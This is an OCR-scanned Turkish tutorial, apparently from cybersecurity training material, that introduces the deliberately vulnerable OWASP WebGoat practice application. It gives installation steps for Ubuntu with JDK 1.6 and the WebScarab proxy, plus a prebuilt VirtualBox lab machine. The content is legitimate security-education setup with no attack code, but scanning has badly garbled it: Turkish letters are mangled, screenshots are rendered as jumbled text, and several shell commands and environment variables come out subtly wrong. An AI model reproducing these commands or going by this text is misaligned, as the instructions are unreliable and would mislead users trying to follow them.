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WEBGOAT NEDIR?

Webgoat, web siteleri icin siber glvenligi konu alan bir web uygulamasidir. J2EE(Java 2
Enterprise Edition) temelli gelistiriimis strimua bulundugu gibi ASP.NET temelli gelistiriimis
strimu de bulunmaktadir. Kodlamalarla icli digh ¢ok nadir olundugundan dolayi dil o kadar da
onemli degdil denebilir. Fakat derinlemesine 6grenmek istiyorsaniz agina oldugunuz ya da
o6grenmekte oldugunuz dille yazilmis strima kullanmanizi dneririm. Java dili ile hazirlanmis
Webgoat surimi platform bagimsizligina sahipken - yani windows disinda linux, mac osx
isletim sistemlerinde de c¢alisabiliyorken - ASP.NET ile hazirlanmis Webgoat strima tahmin
edebileceginiz  lUzere yalnizca Windows platformu Uzerinde calisabilmektedir.

Webgoat, ingilizcede web kegisi anlamina gelir. Bu web uygulamasi ile gesitli siber glivenlik
terimlerini ve tekniklerini 6grenebilir, bdylece bir web sitesi agigi nedir, guvenlik riski nediri
anlamlandirabilirsiniz. Asagida Webgoat'tan bir gorantd gormektesiniz:

Http Basics x

€ | @ http://localhost:8080/WebGoat/atta creen=288&

i iKonusarak Ogren

Logout 0

Http Basics

OWASP WebGoat V5.2

(lzlf!rc‘_dr‘f ;:t“:m Solution VideosEnter your name in the input field below and press "go" to Restart this Lesson
s submit. The server will accept the request, reverse the input,
v and display it back to the user, illustrating the basics of handling an HTTP request.
Hitp Basics
HTTP Spiitting The user should become familiar with the features of WebGoat by manipulating the above buttons

to view hints and solution. You have to use WebScarab for the first time.

Access Control Flaws
AJAX Security

Authentication Flaws
Buffer Overflows Enter your name: Go!

Code Quality

Ff”_'l'r‘:f!:r‘ig”:c"”Im”m (XSS) OWASP Foundation | Project WebGoat | Report Bug
Cross-Site Scripting (XS

Denial of Service

Improper Error Handling

Injection Flaws

Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions K
Challenge
DERSLER

Bu web uygulamasina g¢aligmayi disuntyorsaniz bundan énce DVWA'yi(Damn Vulnerable
Web Application') kurcalamanizi éneririm. DVWA sayesinde bir hacker siteyi nasil hack'liyor,
bir hacker bir sitede nasil givenlik agigi ariyor gibi sorulara tatmin edici cevaplar bulabilirsiniz.
Bu blog'da DVWA'nin tim derslerini Turkge olarak yayinlamig bulunmaktayim. Dolayisiyla
DVWA'nin derslerine yandaki linkten ulasabilirsiniz. DVWA Dersleri DVWA tabiri caizse isin
temelidir. WebGoat ise isin daha sofistike halidir. WebGoat ile gelistirilen web uygulamalarinin
mimari hatalarindan kaynaklanan guvenlik aciklarini nasil istismar edebileceginizi
O6grenebilirsiniz. Fakat dedigim gibi siralamanin DVWA'dan WebGoat'a seklinde olmasi
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gerekir.

Webgoat uygulamasi hakkinda bir detay vermek durumundayim. Bu web uygulamasi
ingilizcedir. Fakat Gzulmeyin. Bu blogda Webgoat uygulamasinin Turkgce ¢ozim ve
aciklamalarini zamanla buluyor olacaksiniz ingaallah. Bdylece bu agiklamalar Uzerinden
glvenlik aciklarini deneyimlemis olup arzuladiginiz deneyime ulasacaginizi imit ediyorum.
Bundan sonraki adim kurulum asamasidir. E§er Webgoat ilginizi celbettiyse haydi baslayalim:

Sonraki Yazi : Linux'a Webgoat Kurulumu
Bir Sonraki : Windows'a Webgoat Kurulumu

NOT: Bu blogda Webgoat da dahil olmak lizere yazilmis her yazi ancak kaynak gésterilmek
sartiyla paylasilabilir. Aksi takdirde hukuki hakkim mahfuzdur. liginize...
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UBUNTU 14.04 LTS LINUX'A WEBGOAT KURULUMU

Bu yazi Webgoat web uygulamasinin bir linux igletim sistemi olan Ubuntu Uzerinden
kurulumunu konu edinmektedir. Windows igletim sistemi icin kurulum yapmak isteyenler bu
adresten gerekli talimatlari alarak kurulumlarini gerceklestirebilirler. Bu yazida gecen kurulum
asamalari muhtemelen tum linux sdramleri igin iglevseldir. Cunku ylUklemeler ve
yapilandirmalar linux'un shell kodlamalari ile yapiimaktadir.

Linux icin kurulum asamalari sunlardan ibarettir:

1. JDK 1.6 Kurulumu

2. JAVA_HOME Yapilandirmasi
3. Webgoat Yapilandirmasi

4. Webscarab Kurulumu

Kurulumla ugrasmak istenilmezse alternatif olarak hazir WebGoat kurulu sanal makina
secenegi kullanilabilir. Bu ¢6zim makalenin sonunda alternatif olarak yer alacaktir.

EK: Ubuntu 14.04 LTS Uzerinde Hazir YUkli WebGoat Yer Alan Makine

1. JDK 1.6 Kurulumu

Oracle tar.gz uzantili hem 32 bitlik sisteme hem Webgoat'a ve hem de Webscarab'a uyumlu
jdk paketi sunmadigindan dolayi linux kurulumunda sadece 64 bitlik sistemler ele alinacaktir.

a) Open]DK Kontrolii
ik olarak sisteminizde bir openjdk paketi yiikli mii degil mi onu kontrol etmeniz gerekir. Bunun
icin CTRL + ALT + T kombinasyonu ile terminali agin. Asagidaki kodu girin:

(Asagidaki kodlari kopyalayip terminale yapistirmak istediginiz takdirde CTRL + SHIFT + V kombinasyonu ile bu islemi yapabilirsiniz.
CTRL + V kombinasyonu ise yaramayacaktir. Linux'a yabancilara duyurulur.)

1 java -version

Eger terminalde kod sonrasi ¢ikan bilgilendirme notunda openJDK anahtar kelimesini
gorurseniz bu java surimunden kurtulmaniz gerekir ve Oracle'in jdk'sini ylklemeniz gerekir.
openJDK'dan kurtulmak igin:

1 sudo apt-get purge openjdk-*

satirini terminale girin ve ardindan oturum sifrenizi girip Enter'layin. Sonra y harfine basip
tekrar Enter'layin. Artik openJDK'dan kurtulmus bulunmaktasiniz. Eger openJDK anahtar
kelimesini gérmezseniz bu adimi atlayiniz.

b) JDK Paketini Yiikleme
Once terminalinize root izni vermeniz her satir girdiginizde sifre sorma zahmetinden sizi
kurtaracagindan akillicadir. Dolayisiyla agagidaki satiri terminale girin.

1 sudo su
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Sonra sifrenizi tuglayin ve Enter'layin. Bu agsamada JDK 1.6 paketini indirmeniz gerekli. jak-
6u6-p-linux-x64.tar.gz paketini oracle'in resmi sitesi olan bu adresten indirebilirsiniz. indirme
islemini oracle'in sitesinden lisans anlagsmasini "Accept" demek gibi ve Gye olmak gibi
prosediirlerden sonra yapabilirsiniz. indirme islemi sonrasi Downloads klasériiniize inmis
bulunan tar.gz uzantili paket icin asagidaki kodlamalar ile bazi islemler yapilacaktir.
Asagidaki kodlari satir satir oimak kaydiyla sirasiyla terminale giriniz:

1

mkdir -p /usr/local/java

2 cd /home/"your user name"/Downloads

3 cp -r jdk-6ub-p-linux-x64.tar.gz /usr/local/java
4 cd /usr/local/java

5 chmod a+x jdk-6ub6-p-linux-x64.tar.gz

tar xvzf jdk-6u6-p-linux-x64.tar.gz

Buraya kadar tar.gz uzantili dosyayi /usr/local/java/ klasériine kopyalamis olduk. Simdi
sirada bir yapilandirma ayari var. Terminale asagidaki satiri girin:

1 nano /etc/profile

Ardindan terminal ekraninda goruntilenen kodlarin en asagisina yon tuslari ile inin ve
asagidaki kodlari kopyala yapistir yordamiyla ekleyin.

1 JAVA HOME=/usr/local/java/jdkl.6.0 06
2 PATH=$PATH:$HOME/bin:$JAVA HOME/bin
3 export JAVA HOME

4 export PATH

Yapistirdiktan sonra CTRL + X kombinasyonuna tiklayin. Ardindan "Y' tusuna tiklayin ve
Enter'layin.

c) Linux Sistemini Yiikli JDK Konusunda Bilgilendirme
Bu asama Linux sisteminize Oracle JDK'sinin kullanim igin mevcut olduju konusunda
bilgilendirir. Asagidaki satirlari sirasiyla giriniz.

update-alternatives --install "/usr/bin/java" "java"
"/usr/local/java/jdkl.6.0 06/bin/java" 1

update-alternatives --install "/usr/bin/javac" "javac"
"/usr/local/java/jdkl.6.0 06/bin/javac" 1

update-alternatives --install "/usr/bin/javaws" "Javaws"
"/usr/local/java/jdkl.6.0 _06/bin/javaws" 1
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Eger yukaridaki son satiri girdiginizde anormal bir bilgilendirmeyle karsilastiysaniz
endiselenmeyin. Diger agsamaya gecebilirsiniz.

d) Oracle ]DK'sinin Sistemin Varsayilan JDK's1 Olacagi Yoniinde Linux'u Bilgilendirme
Sirasiyla asagidaki kodlari terminale girin:

1 update-alternatives --set java /usr/local/java/jdkl.6.0 06/bin/java
2 update-alternatives --set javac /usr/local/java/jdkl.6.0 06/bin/javac

3 update-alternatives --set javaws /usr/local/java/jdkl.6.0 06/bin/javaws

Ardindan su komutu girin:

1 . /etc/profile

Evet, buraya kadar sorunsuz gelmisseniz JDK'niz dizgun yapilandiriimig demektir. Bunu ise
su sekilde anlarsiniz:

1 java -version

Yukaridaki komutu terminale girdiginizde asagidaki gibi bir bildirim ekraniyla
karsilasmissaniz buraya kadarki islemler sorunsuz tamamlanmis demektir. Bilgisayarinizi
JDK asamasini bitirdikten sonra yeniden baslatin ve sonraki adimlara gegin.

Java version "jdk1.6.0_06"
Java(TM) SE Runtime Environment (build jdk1.6.0_06-b25)
Java HotSpot(TM) Server VM (build 23.1-b03, mixed mode)

Eger karsilasmadiysaniz bir sorun var demektir. Bu durumda yorum ekleyerek durumunuzu
bana bildirebilirsiniz.

2.JAVA_HOME Yapilandirmasi

Webgoat ¢alisabilmek igin JAVA_HOME yapilandirmasina ihtiya¢ duyar. Bunun igin agagidaki
komutlari sirasiyla terminalinize girin:

1 secho SJAVA HOME
2 export PATH=$PATH: /usr/local/java/jdkl.6.0 06/bin
3 export JAVA HOME=/usr/local/java/jdkl.6.0 06

4 . /etc/profile

TUBITAK — BILGEM - Siber Givenlik Enstitisi
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3. Webgoat Yapilandirmasi

Artik temeli kurduktan sonra Webgoat uygulamamiza gecebiliriz. Resmi sitesinin verdigi bu
linkten WebGoat-5.4-OWASP_Standard_Win32.zip paketini indirebilirsiniz. inen  dosya
Downloads klasériinde olacaktir. Simdi birkag shell kodlamasi daha yapilacak:

1

5 cd /home/"kullaniciAdiniz"/Downloads/

cp WebGoat-5.4-0OWASP Standard Win32.zip /var/www/
cd /var/www/

unzip WebGoat-5.4-OWASP Standard Win32.zip

cd WebGoat-5.4/

nano webgoat.sh

nano webgoat.sh kodu girildikten sonra ekrana bir dosya icerigi yansiyacaktir. O dosya
icerigindeki ¢cok belirgin goriinen 3 adet 1.5 sayisini 1.6 yapmalisiniz. Gorus aginizi
daraltmak adina sunu sdyleyebilirim ki bu 1.5 sayilar 17. 19. ve 23. satirlarda yer almaktadir.
Bu islemi eksiksiz yapmaniz muhimdir. Aksi takdirde Webgoat uygulamasi ¢alismayacaktir.
Bu islemi bitirdikten sonra CTRL + X kombinasyonu ile tuglara basin. Ardindan y tusuna
basin ve Enter'layin. Ufak bir islem daha kaldi:

1 chmod +x webgoat.sh

Yukaridaki kodu terminale girdikten sonra artik Webgoat uygulamaniz hazir durumda
demektir. Denemek i¢in asagidaki kodu girin:

1 sh webgoat.sh start8080

Ekrana bir takim bilgiler akacaktir. Burada Webgoat uygulamasini géstermeden dnce bir
muahim noktay séylemek istiyorum. Bu web uygulamasini kapatmak istediginizde sakin
terminalin penceresindeki ¢arpi isareti ile terminali kapatmaya yeltenmeyin. Bu
durumda sil bastan tum kurulum iglemlerini tekrarlamaniz gerekecektir. Bunun yanisira
varolanlari silmek i¢in harcayacaginiz ¢aba da cabasi. Clnkl bu sekilde kapattidiniz takdirde
her Webgoat uygulamasini sh webgoat.sh start8080 kodlamasi ile ¢alistirmaya ¢alistiginizda
size ekran "Memory Leak" hatasi verecektir ve uygulamayi kullanamaz olacaksiniz.
Dolayisiyla uygulamayi yine shell kodlamasi ile kapatmalisiniz. Bunu ise webgoat'u
baslattiginiz terminale gelip CTRL + C kombinasyonunu tusladiktan sonra asagidaki kodu
girerek gergeklestirebilirsiniz.

1 sh webgoat.sh stop

Simdi Webgoat uygulamasini tarayicida goéruntileyebilirsiniz. Bir web tarayicisi agin ve su
linki girin:

http://localhost:8080/WebGoat/attack
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Linkteki WebGoat dizinin W'su ve G'si bliylk harflidir. G6zden kagabilen bir ayrinti oldugu
icin belitmekte fayda var. Linki girdikten sonra ekrana pop-up seklinde oturum agma
penceresi gelecektir. Kullanici adi ve sifreye, yani ikisine de guest kelimesini girin. Artik
Webgoat'u kullanmaya hazirsiniz.

Burada iki-tg¢ satirhk zahmeti dokunacak bir noktaya daha deginmek istiyorum. Webgoat
uygulamasini her normal sekilde kapattiginizda ve sonrasinda terminali de kapattiginizda ya
da bilgisayari kapatip actiginizda JAVA_HOME yapilandirmasi sifirlanmaktadir. Bunu
sabitleyecek bir ¢6ziim bulamadigimdan her uygulamayi baslattigimda girdigim kodlamalari
asagida vermis bulunmaktayim. Eger siz bir ¢6zim bulursaniz ve yorum ile bilgilendirirseniz
memnun olurum. Webgoat uygulamasini her baglatisimda kullandigim kodlari Java_HOME
ile beraber veriyorum. Bir kdseye not etmenizde fayda var. Clnkul surekli kullanacaksiniz.
Webgoat'u sonraki oturumlarinizda agmak icin asagidaki kod satirlarini sirasiyla giriniz.

1 secho $JAVA HOME
2 export PATH=$PATH: /usr/local/java/jdkl.6.0 06/bin
3 export JAVA HOME=/usr/local/java/jdkl.6.0 06

4 . /etc/profile

5 sh webgoat.sh start8080

Sonra tarayici ile uygulamayi kullanmaya baslayabilirsiniz. Kapatmak icin ise CTRL + C
kombinasyonu tuglandiktan sonra:

1 sh webgoat.sh stop

UYARI: Webgoat yazilimini kullaniyor oldugunuz siralar sisteminiz bir hack girisimine kargi
savunmasiz durumda kalir. Dolayisiyla bu uygulamayi kullanacaginiz siralar internet
baglantinizi kesmeniz tavsiye edilir.

4. Webscarab Kurulumu

Webscarab, Webgoat uygulamasi icin kullanacagimiz bir aragtir. Bu arag webgot icerisinde
surf yaparken ya da herhangi bir tarayici ve sanal sunucu etkilesimi sirasinda talebi(request'i)
ya da vyaniti(response'u) kesmek, goOzlemlemek ve manipule etmek igin kullanihr.

a) Webscarab' indirme

Webscarab'i Webgoat'un resmi sitesinde yer alan bu_linkten indirebilirsiniz. inen dosya
Downloads klasorune yerlesir. Bu dosya jar uzantilidir. Dolayisiyla yuklemesi Windows'tan
asina oldugumuz GUI ile gerceklesecektir.

b) Webscarab't Kurma
CTRL + ALT + T kombinasyonunu tuglayarak terminali agin. Ardindan su komutlari girin:

1 sudo su
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Sifrenizi girin ve Enter'layin. Sonra asagidaki satirlari sirasiyla girin.

1 cd /home/"kullaniciAdiniz"/Downloads/

2 java -jar webscarab-installer-20070504-1631.jar

Acilan ylikleme penceresinden yazilimi yikleyin.

c) Webscarab'i Yapilandirma

Webscarab'in internet sayfalari ile sanal sunucu arasindaki iletisimi kesebilmesi icin hem
webscarab yaziliminda hem de secgeceginiz bir tarayicida proxy ayarlamasi yapmaniz
gerekmektedir. Bunun igin burada firefox tarayicisi ele alinacaktir. Firefox'unuzu agin ve su
adimlari izleyin:

Firefox->Preferences->Advanced->Network->Connection->Settings->...
Firefox->Tercihler->Gelismis->Ag->Baglanti->Ayarlar->...

En son firefox'unuzda vardiginiz pencereyi asagida resimde gordugunuz gibi yapilandirin:

Connection Settings

=
|7Lf
Gener, ‘Configure Proxies to Access the Internet
| ) No proxy
Genefd ) Auto-detect proxy settings For this network
conn () Use system proxy settings
col  @Manual proxy configuration: ;gs. b
HTTP Proxy: | localhost Pork: 8008 -
Cach =
val Use this proxy server for all protocols R
ol SsLProxy: | localhost Port: 8443
FTP Proxy: | localhost Port: 8080 -
OFFlil SOCKS Host: | localhost Pork: 8080 -
val () SOCKSv4 @ SOCKSv5 [ Remote DNS Bow
No Proxy for: 3
(=4 jons
The
ou
Example: .mozilla.org, .net.nz, 192.168.1.0/24
' Automatic proxy configuration URL:
pve
] Do not prompt For authentication if password is saved
H; 7lose
= | Help Cancel OK L
‘—V

Ardindan Tamam deyin. Simdi sira Webscarab'a proxy degerlerini girmekte. Once
Webscarab'l baslatmaniz gerekir. Bunun i¢in agagidaki kodlari terminalinize girin(Bu kodlari

da bir kdseye not edin. Surekli kullanacaksiniz).
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1 cd /usr/local/WebScarab/

2 java -jar webscarab.jar

Webscarab yazilimini baglatmis bulunmaktasiniz. Simdi webscarab'da asagidaki adimlari
izleyin:

Webscarab->Tools->Proxy->...
Webscarab->Araglar->Proxy->...

Acilan pencereyi asagidaki gibi doldurun ve Apply deyin.

B Config proxies

HTTFP Proxy : Port: [E0OE0
HTTPS Proxy : Port:|8443
Mo Proxy :
Hos | Apply H Cancel e | Cqg

Hepsi bu kadar. Unutmamaniz gereken bir sey var. Artik Webgoat uygulamasini
calistirabilmek icin dnce Webscarab'i agmaniz gerekecektir. ClUnkl proxy ayari yapildi. Eger
webscarab'i agmadan webgoat'u agarsaniz tarayicida uygulamayi goruntuleyemeyeceksiniz.

Sonug

a) Webgoat'u Calistirma
iki tane terminal penceresi acin. Birine asagidakileri tuslayin(WebScarab'i Bagslatma
Komutlarr):

1 sudo su
2 cd /usr/local/WebScarab/

3 java -Jjar webscarab.jar

Digerine de asagidakileri tuslayin(WebGoat'u Baslatma Komutlarr):
1 sudo su

2 cd /var/www/WebGoat-5.4/
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3 $echo $JAVA HOME
4 export PATH=$PATH: /usr/local/java/jdkl.6.0 06/bin

export JAVA HOME=/usr/local/java/jdkl.6.0 06

5
6 . /etc/profile
7 sh webgoat.sh start8080

b) Webgoat'u Kapatma

Webscarab'l baslattiginiz terminalin penceresinin sag Ust kosesindeki garpiya tiklayarak
kapatin. Sonra Webgoat'u calistirdiginiz terminali se¢cin ve CTRL + C kombinasyonunu
tuslayin. Ardindan asagidaki satiri o terminale girin:

1 sh webgoat.sh stop

EK: Ubuntu 14.04 LTS Uzerinde Hazir Yiikli WebGoat Yer Alan Makine

Bu baslik altinda paylasilacak yolla WebGoat'u kullanmak yukaridaki kurulum islemlerine
alternatif bir istege bagli segenektir. Yukaridaki ylkleme zahmetiyle ugrasmak yerine
hazirlanmis Ubuntu 14.04 LTS Linux sanal makinesini indirebilir ve VirtualBox'da acgarak
WebGoat'u kullanabilirsiniz.

Bu sekilde WebGoat'u kullanacaksaniz oncelikle belirtilen linkten ova formatindaki
(uzantisindaki) sanal makineyi indiriniz.

Ubuntu 14.04 LTS Linux Sanal Makinesini indir (icinde WebGoat Hazir)

inen ova formatindaki dosyayi Oracle Virtualbox yazilimiyla agin. Bunun igin Oracle Virtualbox
yaziliminin File -> Import Appliance... sec¢enedine gidilmelidir ve oradan ova formatindaki
dosya segilip igeri aktariimalidir.
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TASNIF DISI

Web Uygulamalarint Ele Gegirme Egitimi: WEBGOAT

#l5 Machine Help

Oracle VM VirtualBox Manager

& Preferences...

0 Import Appliance...

(@ Export Appliance...

virtual Media Manager...

Host Network Manager...

&, Network Operations Manager...
& check for Updates...

[\ Reset All Warnings

& Exit

ctri+G
ctrl+l

— i
Details # | ? E‘E
~ MachineTools | | Global Tools
eneral E Preview
DVWA ve WebGoat (Ubuntu

14.04LTS)
rating System: Ubuntu (64-bit)

DVWA ve WebGoat

(Ubuntu 14.04 LTS)

e Memory: 512 MB
order:  Floppy, Optical, Hard Disk
ation:  VT-x/AMD-V, Nested Paging, KVM

n Kali (En Eski)
Inaccessible
Windows 7 Home Premium

@ Powered Off

Windows Server 2003 R2 SP2
Saved

Windows Server 2008 R2 (Web.Co...)
Saved

Windows Server 2012 R2 (Sifre D...)
@ Powered Off

Windows XP (Dandik)
@ Powered Off

Windows Server 2008 x86 (R2 ... (...}
saved

E santoku (Mobil Geregler VM)
[ saved

D Androld_VM_0.3_By_MobSF (fact..)
@ powered OFff

samsung Galaxy S4 (factory-backup)
&) poawerer OFF
Import an appliance into VirtualBox

Paravirtualization

Video MemOgy: 16 MB
W Server: Disabled
Video Capture: Disabled

[ storage
Controller: IDE
IDE Secondary Master?

Controller: SATA
SATA Port 0:

Optical Drive] Empty

DYwA ve wWebGoat (Ubuntu 14.04 LTS)-disko01.vmdk (Normal,
10,00 GB)

@ Audio

Host Driver: PulseAudio
Controller:  ICH AC97

& Network
Adapter 1: Intel PRO/1000 MT Server (Bridged Adapter, enp0s31F6)
& use

USB Controller: OHCI
Device Filters: 0 (0 active)

M ehacnd Faldans

iceri Aktar Segilir

Import Virtual Appliance

Appliance to import

. Android_VM_0.3_By_MobsSF (fact..)
@ Powered OFf

Samsung 54 (factory-backup)

Appliance settings

Reinitialize the MAC address of all network cards

| Guided Mode | |Restore Defaults| | cancel |

Ova Formatindaki Dosyaya Gidlilir
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Please choose a virtual appliance file to import

—_———
iK Test Makinesi (yt.21-08-20) | »

4 (Xhefese Downloads

Name
¥ DVWA ve WebGoat (Ubuntu 14.1 X 1,2GB Cum

i @8 ¢«DNFBO

+

Open vVirtualization Format v

Ova Formatindaki Dosya Secilir

Import Virtual Appliance

Appliance to import

IDownloads/iK Test Makinesi (yt.21-08-20)/DVWA ve WebGoat (Ubuntu 14.04 LTS).ova| &

Appliance settings

Virtual System 1
€8 Name DVWA ve WebGoat (Ubuntu 14.04 LTS)
& Product iK Test Makinesi
@ Product-URL http://www.includekarabuk.com/kitaplik/indirmeD...
& Vendor Hasan Fatih SIMSEK
& Vendor-URL http://www.includekarabuk.com
& version y£.21/8/20
& Descripti Include Karabuk Test Makinesi
E Guest 0S Type 3 Ubuntu (64-bit)
@ cru
¥ raM

Reinitialize the MAC address of all network car

|Guided Mode || Restore Defaults| [mport || cancel |

Ova Formatindaki Dosya igeri Aktarilir
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Importing Appliance

Importing appliance */home/hefese/Downloads/iK Test Makinesi (yt.21-0..

Importing virtual disk image 'DVWA ve WebGoat (Ubuntu 14.04 LTS)-disk001.vmdk' ... (2/3)

9% | »

33 seconds remaining

Oracle VM VirtualBox Manager

Eile Machine Help

* @ 9 .

New Settings Start
Kali 2019.3
Inaccessible

n Kali (Eski)
Inaccessible
n Kali (En Eski)
@ Inaccessible
Windows 7 Home Premium

@ Powered OFf

Windows Server 2003 R2 SP2
Saved

windows Server 2008 R2 (Web.Co...)
Saved

Windows Server 2012 R2 (Sifre D...)
@ powered Off

¢l
E windows XP (Dandik)
@ powered Off

Windows Server 2008 x86 (R2 ... (...)
Saved

Santoku (Mobil Geregler VM)
Saved

D Android_VM_0.3_By_MobsSF (fact...)
@ Powered OFf

D Samsung Galaxy S4 (Fact
@ Powered OFf
kali
Saved

DVWA ve WebGoat (Ubuntu 14.04 ...

@ powered Off

~ Controller: IDE

iceri Aktar Stirer

W .

Global Tools

= General

Name: Apache Range ty -
Ubuntu 14.04 Server LTS
Operating System: Ubuntu (64-bit)

Apache Range
System Vulnerability - Ubuntu
Base Memory: 2048 MB 14.04 Server LTS
Boot Order:  Floppy, Optical, Hard Disk
Acceleration:  VT-x/AMD-V, Nested Paging, KVM
Paravirtualization

Display

Video Memory: 16 MB

Remote Desktop Server: Disabled

Video Capture: Disabled
: Storage

IDE Secondary Mas|
Controller: SATA
SATA Port 0:

Optical Drive] Empty

Apache Range Vulnerability - Ubuntu 14.04 Server LTS.vdi
(Normal, 5,00 GB)

Driver: PulseAudio
ntroller:  ICH AC97

& Network

_Adapter 1: Intel PRO/1000 MT Desktop (Bridged Adapter, enp0s31F6)

USB Controller: OHCI
Device Filters: 0 (0 active)

Sanal Makine Eklenir

iceri aktarilan sanal makine segilir ve Start butonuna tiklanir.
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Oracle VM VirtualBox Manager 2®0

File Machine Help
* 4 ( | ]
"—w} - Details % 9 ™ |
New Settings Start : *| Machine Tools | | Global Tools
Kall 2019.3 - .
u @ Inaccessible = ceneral = preview
Name: DVWA ve WebGoat (Ubuntu
n Kall (Eski) 14.04 LTS) (
@ tnaccessible ating System: Ubuntu (64-bit)
Kali (En Eski) [ sy DVWA ve WebGoat
© Inaccessible i (Ubuntu 14.04 LTS)
indows 7 Home Premium Base Memoly: 512 MB i
5 7 Hon Boot Order:  Floppy, Optical, Hard Disk
Powered O Acceleration:  VT-x/AMD-V, Nested Paging, KVM
windows Server 2003 R2 SP2 Paravirtualization
saved Display
Windows Server 2008 R2 (Web.Co...) Video Memory: 16MB
& saved Remote Desktop Server: Disabled
windows Server 2012 R2 (Sifre D...) Video Capture: Disabled
@ Powered Off @ Storage
windows XP (Dandik) Controller: IDE
© powered off IDE Secondary Master: [Optical Drive] Empty
Windows Server 200§x86 (R2 ... (..) Controller: SATA
Saved SATA Port 0: DVWA ve WebGoat (Ubuntu 14.04 LTs)-diskoo1.vmdk (Normal,
10,00 GB)
Santoku (Mobil Gerefiler VM)
saved P Audio
B Androld_vM_0.3_By JMobsSF (fact... Host Orlver: pulseaudio
© Powered Off controller:  ICH ACO7
[1 Samsung Galaxy 54 (lhctory-backup) & Network
@ Powered Off, Adapter 1: Intel PRO/1000 MT Server (Bridged Adapter, enp0s31F6)
Fr) kat & use
) 5es
USB Controller: OHCI
e Device Filters: 0 (0 active)
© powered Off e -

Sanal Makine Baslatilir

Bdylece sanal makine baslar.

File Machine Help

5-:} @ ':<<> Details % | 9 - l%g |

New Settings Show " Machine Tools | Global Tools
B Slceesivte * 5 ceneral 8 preview
m Kali (Eski) Name: I;);lmAg;webGoat (Ubuntu

@ Inaccessible _— e LI

Kali (En Eski)
@ Inaccessible

Windows 7 Home Premium
@ Powered Off

Windows Server 2003 R2 SP2
(& saved

Windows Server 2008 R2 (Web.Co...)
saved

Windows Server 2012 R2 (Sifre D...)
@ Powered Off

Windows XP (Dandik)
@ powered Off

w Windows Server 2008 x86 (R2 ... (...)
£ [ saved

santoku (Mobil Geregler VM)
Saved

D Android_VM_0.3_By_MobsSF (fact..)
@ Powered Off

[] Samsung Galaxy S4 (Factory-backup)
@ Powered Off

Elﬁléaved
Paiin el
B &P @@ 0 @ BRight ctrl
Sanal Makine (Web Sunucu) Baglar

Makinenin oturum ekrani geldiginde bilgiler girilir (kullanici adi: user, parola: password) ve
ifconfig ile makinenin ip'si alinir.
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File Machine View Input Devices Help

buntu 14.04 LTS iktestmakinesi ttyl

iktestmakinesi login: _

B @ % @0 @& { @3 Rright ctrl
Oturum Bilgileri Girilir

File Machine View Input Devices Help
buntu 14.04 LTS iktestmakinesi ttyl
iktestmakinesi login: user

assuword :
elcone to Ubuntu 14.04 LTS (GNU-Linux 3.13.0-Z24-generic xB6_64)

tkiimantasyon: http:/-uww.includekarabuk.com
http:/ uww. includekarabuk.comsdvwatutorial. php
http: 7uww. includekarabuk.comswebgoattutorial.php

rser@iktestmakinesi:"§ _

B & @@ @ R Right ctrl
Oturum Acilr
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Machine View Input

TASNIF DISI

+ Dokiimantasyon: http:/ suww. includekarabuk.con
http: 7www. includekarabuk.consdvwatutorial . php

http: suww. includekarabuk.con webgoattutorial .php

iser@iktestmakinesi:™§ ifconfig
Link encap:Ethernet HUaddr 08:00:27:23:66:cO
inet addr:192.168.1.110 Bcast:192.168.1.255 Mask:255.255.255.0

inetb addr: e Tal@: 277 :fe23 :66cO0-64 Scope:Link
UP BROADCAST RUNNING HULTICAST HTU:1500 Hetric:1
RX parkets:Z2 errors:0 dropped:0 overruns:0 frame:@

X packets:30 errors:0@ dropped:0 overruns:0 carrier:@
collisions 0 txqueuelen:1000

RX bytes:2378 (2.9 KB) TX bytes:3040 (3.0 KB)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:Z22 errors:0 dropped:® overruns:0 frame:0
TX packets:Z2 errors:0 dropped:Q overruns:Q carrier:Q
collisions:0 txqueuelen:0

RX bytes:1632 (1.6 KB) TX bytes:1632 (1.6 KB)

iser@iktestmakinesi:"§
O 2P @ (1 1% {0} @ #) Right cerl
Sanal Makinenin (Web Sunucunun) IP'si Ogrenilir

Bdylece makineye (web sunucuya) ana makinenizden web tarayici ile eriserek WebGoat
uygulamasi kullanilabilir.

@ 192.168.1.110 X
< C 0t O 1921681110

Signin

http://192.168.1.110

Your connection to this site is not private

Username

Password
= Diskiinantasyon: http://wsw. includekarabuk.con
http://uwu. includekarabuk. con/dvuatutorial . php
http://uww. includekarabuk . con/uebgoattutorial . php

Cancel

user@iktestnakinesi:~$ ifconfig
Link encap:Ethernet Huaddr 08:00:27:23:66:c0
inet addr:192.168.1.110 Bcast:192.168.1.255 Mask:255.255.255.0
ineth addr: £e0::a00:27ff ife23:66c064 ScopeiLink
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:i
dropped:0 overruns:0 frame
5:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen: 1000
RX bytes:2978 (2.9 KB) TX bytes:3040 (3.0 KB)

Link encap:Local Loopback

inet addr:12?

ineth add 128 Scope :Hos!

UP LOOPBACK RUNNING MTU:65536 Metric:i
dropped:0 overruns:Q frame

510 txqueuelen:o
BX bytes:1632 (1.6 KB) TX bytes:1632 (1.6 KB)

useriktestnak 5
B &P 0 i (@ @ (3] Right Ct

Temel CMD
Komutlari.

( Solda Ana Makine, Sagda Sanal Web Sunucu Makine )
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Web Uygulamalarini Ele Gegirme Egitimi: WEBGOAT

@ 192.168.1.110:8080/Web( X

< C 0 © 192168.1.1108080/wet

Signin
http://192.168.1.110:8080

Username

Password

sy m

@ 192.168.1.110:8080/Web X

€« C O @ 1921681110

Signin
http://192.168.1.110:8080

Username | guest

Password

File Machine View Input Devices Help
T \

= Dikilnantasyon: http://uum. includekarabuk.con
http:/zum. includekarabuk . con/dusatutorial . php
http:/ 7w, includekarabuk.con/uebgoattutorial . php

user@iktestmaki 5 ifconf ig
eth Link encap:Ethernet 2
inet addr:192.168.1.11€ ast:192.168.1.255 Hask:255
ineth addr: fef0::a00:27(f :fe23:66c0/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
packets:22 errors:0 dropped:0 overruns:® frame:0
packets:30 errors ed:0 overruns:0 carrier:0
collisions:0 txquew
RX bytes:2978 (2.9 KB) TX bytes:3040 (3.0 KB)

Link encap:Local Loopback
NTU:65536

> dropped

0 dropped:0 o

16:

Temel CMD.
Komutlari

=~ Diskiimantasyon: http://uu. includekarabuk.con
